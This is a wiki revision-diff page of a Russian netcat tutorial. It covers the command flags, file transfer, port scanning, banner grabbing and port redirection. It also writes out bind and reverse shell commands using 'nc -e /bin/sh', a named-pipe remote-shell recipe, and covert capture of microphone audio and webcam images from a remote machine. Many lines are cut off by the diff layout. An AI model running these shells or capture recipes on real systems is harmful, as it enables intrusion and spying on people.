Различия
Показаны различия между двумя версиями страницы.
| Предыдущая версия справа и слева Предыдущая версия Следующая версия | Предыдущая версия | ||
| networks:nc [2016/05/21 13:45] – mirocow | networks:nc [2024/04/11 19:23] (текущий) – mirocow | ||
|---|---|---|---|
| Строка 1: | Строка 1: | ||
| - | {{tag> | + | {{tag> |
| + | |||
| + | {{tag> | ||
| + | |||
| + | ====== Netcat ====== | ||
| + | |||
| + | Netcat - это сетевой инструмент, | ||
| + | |||
| + | <code bash> | ||
| + | $ nc -nv 192.168.0.178 80 | ||
| + | $ nc -nlvp 4444 | ||
| + | $ nc -nv 192.168.0.178 4444 | ||
| + | $ nc -v 127.1.0.1 3306 | ||
| + | $ echo " | ||
| + | </ | ||
| + | |||
| + | * -h Справка; | ||
| + | * -v Дополнительная диагностика (verbose) | ||
| + | * -o выходной_файл Выводить дампы данных | ||
| + | * -i число Задержка между отправляемыми данными (в секундах) | ||
| + | * -t Совместимость с Telnet | ||
| + | * -z Не посылать данные (сканирование портов) | ||
| + | * -u Подключаться по UDP (вместо TCP) | ||
| + | * -l Пассивный режим (прослушивание порта) | ||
| + | * -p число * Локальный номер порта (для -l) | ||
| + | * -s host Использовать заданный локальный («свой») IP-адрес | ||
| + | * -n Отключить DNS и поиск номеров портов по / | ||
| + | * -w число Задать тайм-аут (в секундах) | ||
| + | * -q число Задать время ожидания после EOF на входе (в секундах) | ||
| + | * -e исполняемый_файл ! Запустить указанную программу для обмена данных с сетью (вместо стандартных ввода и вывода) | ||
| + | * -с команда ! То же, в виде команды для /bin/sh | ||
| + | * -k Продолжить слушать другие соединения после того как текущее соединение было завершено. | ||
| - | ====== netcat/nc ====== | ||
| - | Netcat - это сетевой инструмент. | ||
| Утилита netcat по сути не делает ничего, | Утилита netcat по сути не делает ничего, | ||
| + | |||
| + | ===== Прослушивание порта ===== | ||
| + | |||
| + | <code bash> | ||
| + | $ nc -nlv 8080 > / | ||
| + | $ echo -n "GET / HTTP/ | ||
| + | $ cat / | ||
| + | </ | ||
| + | |||
| + | ===== Получать сообщения ===== | ||
| + | |||
| + | <code bash> | ||
| + | $ nc -lp 8080 > / | ||
| + | $ nc 0.0.0.0 8080 | ||
| + | $ cat / | ||
| + | </ | ||
| ===== Передавать файлы ===== | ===== Передавать файлы ===== | ||
| + | |||
| (первую команду выполняем на принимающей машине, | (первую команду выполняем на принимающей машине, | ||
| + | <code bash> | ||
| $ nc -l 31334 > filename | $ nc -l 31334 > filename | ||
| $ nc 172.16.69.143 31334 < filename | $ nc 172.16.69.143 31334 < filename | ||
| + | </ | ||
| ===== Удаленно читать логи ===== | ===== Удаленно читать логи ===== | ||
| + | |||
| (первая - сервер, | (первая - сервер, | ||
| + | <code bash> | ||
| $ nc -f / | $ nc -f / | ||
| $ nc 172.16.69.143 31334 | $ nc 172.16.69.143 31334 | ||
| + | </ | ||
| ===== Использовать вместо telnet ===== | ===== Использовать вместо telnet ===== | ||
| + | |||
| (первая - telnet-сервер, | (первая - telnet-сервер, | ||
| + | <code bash> | ||
| $ nc -l -p 31334 -e /bin/sh | $ nc -l -p 31334 -e /bin/sh | ||
| $ nc 172.16.69.143 31334 | $ nc 172.16.69.143 31334 | ||
| - | | + | </ |
| ===== Сканировать на открытые порты ===== | ===== Сканировать на открытые порты ===== | ||
| - | | + | <code bash> |
| - | + | $ nc -z execbit.ru 1-1024 | |
| + | $ nc -vz 192.168.1.132 1-1000 2>&1 | grep succeeded --color | ||
| + | $ nc -vzu 192.168.1.132 1-1000 2>&1 | grep succeeded --color | ||
| + | </ | ||
| + | |||
| + | ===== Создавать удалённую оболочку ===== | ||
| + | |||
| + | Сначала удалим старый именованный канал (rm /tmp/f), на его месте создадим новый (mkfifo /tmp/f), прочитаем его содержимое (cat /tmp/f), а на его вывод отправим команду оболочки (sh -i 2>& | ||
| + | После этого останется запустить nc с выводом в наш именованный канал (nc 192.168.1.132 8080 >/ | ||
| + | |||
| + | <code bash> | ||
| + | $ nc -lvnp 8080 | ||
| + | $ rm / | ||
| + | </ | ||
| ===== Осуществлять фингерпринт сервисов на основе баннеров ===== | ===== Осуществлять фингерпринт сервисов на основе баннеров ===== | ||
| + | <code bash> | ||
| $ echo " | $ echo " | ||
| - | | + | </ |
| ===== Организовывать обратный шелл ===== | ===== Организовывать обратный шелл ===== | ||
| + | |||
| (первая - клиент, | (первая - клиент, | ||
| + | <code bash> | ||
| $ nc -e /bin/sh 172.16.69.143 31334 | $ nc -e /bin/sh 172.16.69.143 31334 | ||
| $ nc -l -p 31334 | $ nc -l -p 31334 | ||
| - | | + | </ |
| ===== Делать микрофонную запись с удаленной машины ===== | ===== Делать микрофонную запись с удаленной машины ===== | ||
| + | |||
| (сервер, | (сервер, | ||
| + | <code bash> | ||
| $ arecord -f dat -t raw | nc -l 31337 | $ arecord -f dat -t raw | nc -l 31337 | ||
| $ nc 172.16.69.143 31337 | oggenc - -r -o nc.ogg | $ nc 172.16.69.143 31337 | oggenc - -r -o nc.ogg | ||
| - | | + | </ |
| ===== Получать снимки с web-камеры удаленной машины ===== | ===== Получать снимки с web-камеры удаленной машины ===== | ||
| + | |||
| (сервер, | (сервер, | ||
| + | <code bash> | ||
| $ while [ 1 ]; do streamer -o / | $ while [ 1 ]; do streamer -o / | ||
| $ nc localhost 31337 > photo.jpeg | $ nc localhost 31337 > photo.jpeg | ||
| - | | + | </ |
| Однако, | Однако, | ||
| Особого внимания заслуживает netcat, распространяемый вместе с BSD-системами, | Особого внимания заслуживает netcat, распространяемый вместе с BSD-системами, | ||
| + | <code bash> | ||
| $ nc -e 'in ipsec esp/ | $ nc -e 'in ipsec esp/ | ||
| 172.16.69.143 31334 | 172.16.69.143 31334 | ||
| - | | + | </ |
| Кроме того, BSD Netcat способен подключаться к удаленной машине через прокси: | Кроме того, BSD Netcat способен подключаться к удаленной машине через прокси: | ||
| + | <code bash> | ||
| $ nc -x172.16.64.1: | $ nc -x172.16.64.1: | ||
| + | </ | ||
| В этом примере прокси находится по адресу 172.16.64.1: | В этом примере прокси находится по адресу 172.16.64.1: | ||
| Строка 66: | Строка 149: | ||
| Сам netcat легко использовать в качестве прокси или редиректора портов, | Сам netcat легко использовать в качестве прокси или редиректора портов, | ||
| - | # echo ' | + | <code bash> |
| - | | + | $ echo ' |
| + | | ||
| >> / | >> / | ||
| - | | + | |
| + | </ | ||
| Теперь весь трафик, | Теперь весь трафик, | ||
| Строка 75: | Строка 160: | ||
| Кстати, | Кстати, | ||
| - | $ echo / | + | cat / |
| - | | + | < |
| service redirect-2525-to-25 | service redirect-2525-to-25 | ||
| { | { | ||
| Строка 88: | Строка 173: | ||
| user = nobody | user = nobody | ||
| } | } | ||
| + | </ | ||
| + | |||
| + | ===== Сетевые утилиты ===== | ||
| + | |||
| + | |||
| + | {{topic> | ||